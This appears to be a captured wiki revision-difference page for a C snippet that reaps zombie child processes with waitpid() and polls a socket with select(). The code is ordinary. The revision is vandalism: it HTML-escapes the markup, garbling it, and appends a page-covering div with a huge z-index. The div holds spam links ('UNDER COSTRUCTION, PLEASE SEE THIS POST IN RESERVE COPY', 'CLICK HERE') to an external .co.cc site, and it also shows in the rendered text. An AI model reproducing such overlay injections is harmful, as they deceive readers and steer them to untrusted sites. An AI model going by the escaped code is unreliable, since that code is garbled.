C/Zombies

From Attie's Wiki
(Difference between revisions)
Jump to: navigation, search
Line 1: Line 1:
The code below will quickly tidy up after zombie children, and at the same time check for incoming data.
+
>The code below will quickly tidy up after zombie children, and at the same time check for incoming data.
  
* Assume <code>sock</code> is the file descriptor that you wish to read from<br>
+
* Assume &lt;code&gt;sock&lt;/code&gt; is the file descriptor that you wish to read from&lt;br&gt;
* <code>children</code> is incremented when you call <code>fork()</code>
+
* &lt;code&gt;children&lt;/code&gt; is incremented when you call &lt;code&gt;fork()&lt;/code&gt;
<source lang="c">
+
&lt;source lang=&quot;c&quot;&gt;
 
/* tidy up after children, but accept new data if its there! */
 
/* tidy up after children, but accept new data if its there! */
 
while (children) {
 
while (children) {
Line 11: Line 11:
  
 
   /* check if any children have become zombies! */
 
   /* check if any children have become zombies! */
   pid = waitpid(-1,&status,WNOHANG | WUNTRACED);
+
   pid = waitpid(-1,&amp;status,WNOHANG | WUNTRACED);
   if (pid > 0) {
+
   if (pid &gt; 0) {
 
     children--;
 
     children--;
     printf("*** Child Died ***  PID: %-6d    Status: %-3d    Children: %-2d\n",pid,WEXITSTATUS(status),children);
+
     printf(&quot;*** Child Died ***  PID: %-6d    Status: %-3d    Children: %-2d\n&quot;,pid,WEXITSTATUS(status),children);
 
     /* if there are no children left, will break
 
     /* if there are no children left, will break
 
       if there are more zombie children will tidy up before looking for data */
 
       if there are more zombie children will tidy up before looking for data */
Line 21: Line 21:
  
 
   /* timeout on the socket every 0.5sec */
 
   /* timeout on the socket every 0.5sec */
   memset(&timeout,0,sizeof(timeout));
+
   memset(&amp;timeout,0,sizeof(timeout));
 
   timeout.tv_usec = 500000;
 
   timeout.tv_usec = 500000;
  
   FD_ZERO(&toset);
+
   FD_ZERO(&amp;toset);
   FD_SET(sock,&toset);
+
   FD_SET(sock,&amp;toset);
  
 
   /* check if there is data in the socket to be read... */
 
   /* check if there is data in the socket to be read... */
   if ((read = select(sock+1,&toset,NULL,NULL,&timeout)) == -1) {
+
   if ((read = select(sock+1,&amp;toset,NULL,NULL,&amp;timeout)) == -1) {
     perror("select()");
+
     perror(&quot;select()&quot;);
 
     break;
 
     break;
 
   } else if (read != 0) {
 
   } else if (read != 0) {
Line 36: Line 36:
 
   }
 
   }
 
}
 
}
</source>
+
&lt;/source&gt;
 +
 
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ejexatul.co.cc UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY]=
 +
----
 +
=[http://ejexatul.co.cc CLICK HERE]=
 +
----
 +
</div>

Revision as of 00:02, 18 November 2010

>The code below will quickly tidy up after zombie children, and at the same time check for incoming data.

  • Assume <code>sock</code> is the file descriptor that you wish to read from<br>
  • <code>children</code> is incremented when you call <code>fork()</code>

<source lang="c"> /* tidy up after children, but accept new data if its there! */ while (children) {

 int pid, status, read;
 struct timeval timeout;
 fd_set toset;
 /* check if any children have become zombies! */
 pid = waitpid(-1,&status,WNOHANG | WUNTRACED);
 if (pid > 0) {
   children--;
   printf("*** Child Died ***  PID: %-6d    Status: %-3d    Children: %-2d\n",pid,WEXITSTATUS(status),children);
   /* if there are no children left, will break
      if there are more zombie children will tidy up before looking for data */
   continue;
 }
 /* timeout on the socket every 0.5sec */
 memset(&timeout,0,sizeof(timeout));
 timeout.tv_usec = 500000;
 FD_ZERO(&toset);
 FD_SET(sock,&toset);
 /* check if there is data in the socket to be read... */
 if ((read = select(sock+1,&toset,NULL,NULL,&timeout)) == -1) {
   perror("select()");
   break;
 } else if (read != 0) {
   /* something can be read! */
   break;
 }

} </source>



UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY


CLICK HERE


Personal tools
Namespaces

Variants
Actions
Navigation
Toolbox